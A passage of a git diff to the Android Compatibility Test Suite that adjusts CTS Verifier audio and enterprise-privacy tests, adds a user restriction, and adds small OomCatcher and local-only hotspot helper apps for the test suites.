diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..33417d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,10 +41,6 @@
private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
- public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
- super(requiresMandatePeripheral); // Mandated peripheral is NOT required
- }
-
protected void setupPlayer() {
mSystemBufferSize =
StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index d51eac3..5772461 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,10 +49,6 @@
private WaveScopeView mWaveView = null;
- public USBAudioPeripheralRecordActivity() {
- super(false); // Mandated peripheral is NOT required
- }
-
private void connectWaveView() {
// Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
if (mRecorder != null) {
@@ -77,12 +73,7 @@
mRecorder.stop();
}
- // no reason to do more than 2
int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
- if (numChans > 2) {
- numChans = 2;
- }
- Log.i(TAG, " numChans:" + numChans);
if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
connectWaveView(); // Setup the WaveView
@@ -139,22 +130,15 @@
setPassFailButtonClickListeners();
setInfoResources(R.string.usbaudio_record_test, R.string.usbaudio_record_info, -1);
-
- connectUSBPeripheralUI();
}
//
// USBAudioPeripheralActivity
//
- void enableTestUI(boolean enable) {
- mRecordBtn.setEnabled(enable);
- mRecordLoopbackBtn.setEnabled(enable);
- }
-
public void updateConnectStatus() {
- mRecordBtn.setEnabled(mIsPeripheralAttached);
- mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
- getPassButton().setEnabled(mIsPeripheralAttached);
+ mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+ mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+ getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
}
public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 55b7f9a..7190af9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,6 +32,9 @@
}
public static int countToIndexMask(int chanCount) {
+ // From the documentation for AudioFormat:
+ // The canonical channel index masks by channel count are given by the formula
+ // (1 << channelCount) - 1.
return (1 << chanCount) - 1;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 2ec742e4..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,30 +120,19 @@
mNumChannels = numChans;
mSampleRate = sampleRate;
- final int frameSize =
- AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
- final int bufferSizeInBytes = frameSize * 64; // Some, non-critical value
-
- AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
- formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
- formatBuilder.setSampleRate(mSampleRate);
-
- if (numChans <= 2) {
- // There is currently a bug causing channel INDEX masks to fail.
- // for channels counts of <= 2, use channel POSITION
- final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
- formatBuilder.setChannelMask(chanPosMask);
- } else {
- // There are no INPUT channel-position masks for > 2 channels
- final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
- formatBuilder.setChannelIndexMask(chanIndexMask);
- }
-
- AudioRecord.Builder builder = new AudioRecord.Builder();
- builder.setAudioFormat(formatBuilder.build());
+ int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+ int bufferSizeInBytes = 2048; // Some, non-critical value
try {
- mAudioRecord = builder.build();
+ mAudioRecord = new AudioRecord.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+ .setSampleRate(mSampleRate)
+ .setChannelIndexMask(chanIndexMask)
+ .build())
+ .setBufferSizeInBytes(bufferSizeInBytes)
+ .build();
+
return true;
} catch (UnsupportedOperationException ex) {
Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index c779a2a..4909497 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,8 +19,6 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.CddTest;
-
import android.content.Context;
import android.graphics.Color;
import android.graphics.Typeface;
@@ -43,7 +41,6 @@
/**
* CTS Verifier case for verifying GPS.
*/
-@CddTest(requirement="7.3.3/C-1-1")
public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
private LocationManager mLocationManager;
private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 519d50b..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -312,22 +312,20 @@
CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
.putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
"Foo, Inc."))}));
- if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
- R.string.enterprise_privacy_keyguard,
- R.string.enterprise_privacy_keyguard_info,
- new ButtonInfo[]{
- new ButtonInfo(R.string.enterprise_privacy_open_settings,
- new Intent(Settings.ACTION_SETTINGS)),
- new ButtonInfo(R.string.enterprise_privacy_clear_organization,
- buildCommandIntent(
- CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
- new ButtonInfo(R.string.enterprise_privacy_set_organization,
- buildCommandIntent(
- CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
- .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
- "Foo, Inc."))}));
- }
+ adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+ R.string.enterprise_privacy_keyguard,
+ R.string.enterprise_privacy_keyguard_info,
+ new ButtonInfo[] {
+ new ButtonInfo(R.string.enterprise_privacy_open_settings,
+ new Intent(Settings.ACTION_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+ buildCommandIntent(
+ CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+ new ButtonInfo(R.string.enterprise_privacy_set_organization,
+ buildCommandIntent(
+ CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+ .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+ "Foo, Inc."))}));
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
R.string.enterprise_privacy_add_account,
R.string.enterprise_privacy_add_account_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 6637509..31a8791 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -110,14 +110,12 @@
}
protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) {
- if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- adapter.add(new DialogTestListItemWithIcon(this,
- R.string.provisioning_byod_disable_unredacted_notifications,
- getTestIdPrefix() + "DisableUnredactedNotifications",
- R.string.provisioning_byod_disable_unredacted_notifications_instruction,
- new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
- R.drawable.ic_corp_icon));
- }
+ adapter.add(new DialogTestListItemWithIcon(this,
+ R.string.provisioning_byod_disable_unredacted_notifications,
+ getTestIdPrefix() + "DisableUnredactedNotifications",
+ R.string.provisioning_byod_disable_unredacted_notifications_instruction,
+ new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
+ R.drawable.ic_corp_icon));
}
protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 12b0da8..f004ace 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -31,6 +31,7 @@
public class UserRestrictions {
private static final String[] RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY = new String[] {
+ UserManager.DISALLOW_ADD_USER,
UserManager.DISALLOW_ADJUST_VOLUME,
UserManager.DISALLOW_APPS_CONTROL,
UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
@@ -59,6 +60,7 @@
private static final ArrayMap<String, UserRestrictionItem> USER_RESTRICTION_ITEMS;
static {
final int[] restrictionLabels = new int[] {
+ R.string.disallow_add_user,
R.string.disallow_adjust_volume,
R.string.disallow_apps_control,
R.string.disallow_config_cell_broadcasts,
@@ -85,6 +87,7 @@
};
final int[] restrictionActions = new int[] {
+ R.string.disallow_add_user_action,
R.string.disallow_adjust_volume_action,
R.string.disallow_apps_control_action,
R.string.disallow_config_cell_broadcasts_action,
@@ -111,6 +114,7 @@
};
final String[] settingsIntentActions = new String[] {
+ Settings.ACTION_SETTINGS,
Settings.ACTION_SOUND_SETTINGS,
Settings.ACTION_APPLICATION_SETTINGS,
Settings.ACTION_SETTINGS,
@@ -227,6 +231,8 @@
public static boolean isRestrictionValid(Context context, String restriction) {
final PackageManager pm = context.getPackageManager();
switch (restriction) {
+ case UserManager.DISALLOW_ADD_USER:
+ return UserManager.supportsMultipleUsers();
case UserManager.DISALLOW_ADJUST_VOLUME:
return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..e14cde5
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
similarity index 62%
rename from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
rename to apps/OomCatcher/AndroidManifest.xml
index 026fd94..25513e2 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -1,5 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+
+<!-- Copyright (C) 2018 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -15,15 +16,16 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.privilegedupdate.preparer">
+ package="com.android.cts.oomcatcher"
+ android:versionCode="1"
+ android:versionName="1.0">
<application>
- <uses-library android:name="android.test.runner" />
+ <activity android:name=".OomCatcher">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
</application>
-
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.privilegedupdate.preparer" />
-
</manifest>
-
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..b7cd6c7
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+ private static final String LOG_TAG = "OomCatcher";
+
+ private AtomicBoolean isOom = new AtomicBoolean(false);
+
+ Thread logThread;
+
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ logThread = new Thread() {
+ @Override
+ public void run() {
+ while (true) {
+ logStatus();
+ try {
+ Thread.sleep(1000); // 1 second
+ } catch (InterruptedException e) {
+ // thread has been killed
+ }
+ }
+ }
+ };
+ logThread.setDaemon(true);
+ logThread.start();
+ }
+
+ public void onDestroy() {
+ super.onDestroy();
+ if (logThread != null) {
+ logThread.interrupt();
+ }
+ }
+
+ /*
+ * Receive memory callbacks from the Android system. All report low memory except for
+ * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+ * that, only when the device is at risk of OOMing.
+ *
+ * For all indications of low memory, onLowMemory() is called.
+ */
+ @Override
+ public void onTrimMemory(int level) {
+ Log.i(LOG_TAG, "Memory trim level: " + level);
+ switch (level) {
+ // low priority messages being ignored
+ case TRIM_MEMORY_BACKGROUND: // bg
+ case TRIM_MEMORY_RUNNING_MODERATE: // fg
+ // fallthrough
+ Log.i(LOG_TAG, "ignoring low priority oom messages.");
+ break;
+ // medium priority messages being ignored
+ case TRIM_MEMORY_MODERATE: // bg
+ case TRIM_MEMORY_RUNNING_LOW: // fg
+ // fallthrough
+ Log.i(LOG_TAG, "ignoring medium priority oom messages.");
+ break;
+ // high priority messages
+ case TRIM_MEMORY_COMPLETE: // bg
+ case TRIM_MEMORY_RUNNING_CRITICAL: // fg
+ // fallthrough
+ onLowMemory();
+ break;
+ case TRIM_MEMORY_UI_HIDDEN:
+ Log.i(LOG_TAG, "UI is hidden because the app is in the background.");
+ break;
+ default:
+ Log.i(LOG_TAG, "unknown memory trim message.");
+ return;
+ }
+ }
+
+ /*
+ * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+ */
+ @Override
+ public void onLowMemory() {
+ isOom.set(true);
+ logStatus();
+ }
+
+ /*
+ * Log to logcat the current lowmemory status of the app.
+ */
+ private void logStatus() {
+ Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+ }
+}
diff --git a/apps/hotspot/Android.mk b/apps/hotspot/Android.mk
new file mode 100644
index 0000000..ae93979
--- /dev/null
+++ b/apps/hotspot/Android.mk
@@ -0,0 +1,18 @@
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := hotspot
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
new file mode 100644
index 0000000..277be5f
--- /dev/null
+++ b/apps/hotspot/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.hotspot">
+
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <application>
+ <activity android:name=".MainActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".Notify" android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+</manifest>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
new file mode 100644
index 0000000..2e0ed87
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -0,0 +1,20 @@
+package com.android.cts.hotspot;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.v4.app.ActivityCompat;
+
+public class MainActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION)
+ != PackageManager.PERMISSION_GRANTED) {
+ ActivityCompat.requestPermissions(
+ this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
+ }
+ }
+}
diff --git a/apps/hotspot/src/com/android/cts/hotspot/Notify.java b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
new file mode 100644
index 0000000..a56a390
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
@@ -0,0 +1,57 @@
+package com.android.cts.hotspot;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Handler;
+
+public class Notify extends BroadcastReceiver {
+
+ private static final String EXTRA_HOTSPOT_KEY = "HOTSPOT";
+ private static WifiManager.LocalOnlyHotspotReservation mReservation;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if ("com.android.cts.hotspot.TEST_ACTION".equals(intent.getAction())) {
+ if (intent.hasExtra(EXTRA_HOTSPOT_KEY)) {
+ if ("turnOn".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+ turnOnHotspot(context);
+ } else if ("turnOff".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+ turnOffHotspot();
+ }
+ }
+ }
+ }
+
+ private void turnOnHotspot(Context x) {
+ WifiManager manager = (WifiManager) x.getSystemService(Context.WIFI_SERVICE);
+
+ manager.startLocalOnlyHotspot(
+ new WifiManager.LocalOnlyHotspotCallback() {
+
+ @Override
+ public void onStarted(WifiManager.LocalOnlyHotspotReservation reservation) {
+ mReservation = reservation;
+ super.onStarted(reservation);
+ }
+
+ @Override
+ public void onStopped() {
+ super.onStopped();
+ }
+
+ @Override
+ public void onFailed(int reason) {
+ super.onFailed(reason);
+ }
+ },
+ new Handler());
+ }
+
+ private void turnOffHotspot() {
+ if (mReservation != null) {
+ mReservation.close();
+ }
+ }
+}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 22688ed..e953724 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -21,7 +21,6 @@
import android.content.pm.PermissionInfo;
import android.os.Build;
import com.android.compatibility.common.util.DeviceInfoStore;
-import com.android.compatibility.common.util.PackageUtil;
import java.io.IOException;
import java.util.*;
@@ -53,8 +52,6 @@
private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
private static final String INSTALL_PACKAGES_PERMISSION = "android.permission.INSTALL_PACKAGES";
- private static final String SHA256_CERT = "sha256_cert";
-
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
final PackageManager pm = getContext().getPackageManager();
@@ -99,8 +96,6 @@
final boolean canInstall = sharesUidWithInstallerPackage(pm, appInfo.uid);
store.addResult(SHARES_INSTALL_PERMISSION, canInstall);
}
- String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName);
- store.addResult(SHA256_CERT, sha256_cert);
store.endGroup();
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index 285b732..599110e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
return propertyEquals(BUILD_TYPE_PROPERTY, "user");
}
- /** Returns whether the device build is the factory ROM */
- public static boolean isFactoryROM() {
- // property should be undefined if and only if the product is factory ROM.
- return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
- }
-
/** Returns whether this build is built with dev-keys */
public static boolean isDevKeysBuild() {
for (String tag : Build.TAGS.split(",")) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
deleted file mode 100644
index d12caa8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.Before;
-
-/**
- * Device-side base class for tests leveraging the Business Logic service for rules that are
- * conditionally added based on the device characteristics.
- */
-public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
-
- @Override
- @Before
- public void handleBusinessLogic() {
- super.loadBusinessLogic();
- ensureAuthenticated();
- super.executeBusinessLogic();
- }
-
- protected void ensureAuthenticated() {
- if (!mCanReadBusinessLogic) {
- // super class handles the condition that the service is unavailable.
- return;
- }
-
- if (!mBusinessLogic.mConditionalTestsEnabled) {
- skipTest("Execution of device specific tests is not enabled. "
- + "Enable with '--conditional-business-logic-tests-enabled'");
- }
-
- if (mBusinessLogic.isAuthorized()) {
- // Run test as normal.
- return;
- }
- String message = mBusinessLogic.getAuthenticationStatusMessage();
-
- // Fail test since request was not authorized.
- failTest(String.format("Unable to execute because %s.", message));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 671d33b..b0c1dbb 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -19,19 +19,17 @@
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
import android.app.Instrumentation;
import android.content.Context;
import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import java.lang.reflect.Field;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
import java.io.File;
-import java.util.List;
+import java.lang.reflect.Field;
import java.util.Map;
/**
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index b98acee..c95b8df 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
return propertyEquals(BUILD_TYPE_PROPERTY, "user");
}
- /** Returns whether the device build is the factory ROM */
- public static boolean isFactoryROM() {
- // property should be undefined if and only if the product is factory ROM.
- return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
- }
-
/** Returns whether this build is built with dev-keys */
public static boolean isDevKeysBuild() {
for (String tag : Build.TAGS.split(",")) {
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 59ef75e..3fb55c5 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,7 +30,7 @@
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant sts
LOCAL_REQUIRED_MODULES := \
CtsCorruptApkTests_b71360999 \
@@ -40,4 +40,4 @@
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 758e6af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -71,10 +71,8 @@
private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
final int[] userIds = Utils.getAllUsers(device);
for (int i = 1; i < userIds.length; i++) {
- if (device.getCurrentUser() != userIds[i]) {
- device.removeUser(userIds[i]);
- CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
- }
+ device.removeUser(userIds[i]);
+ CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index f8f866d..2078fad 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -22,6 +22,8 @@
import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -173,15 +175,14 @@
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
installResult);
// run appwithdata's tests to create private data
- runDeviceTestsAsCurrentUser(
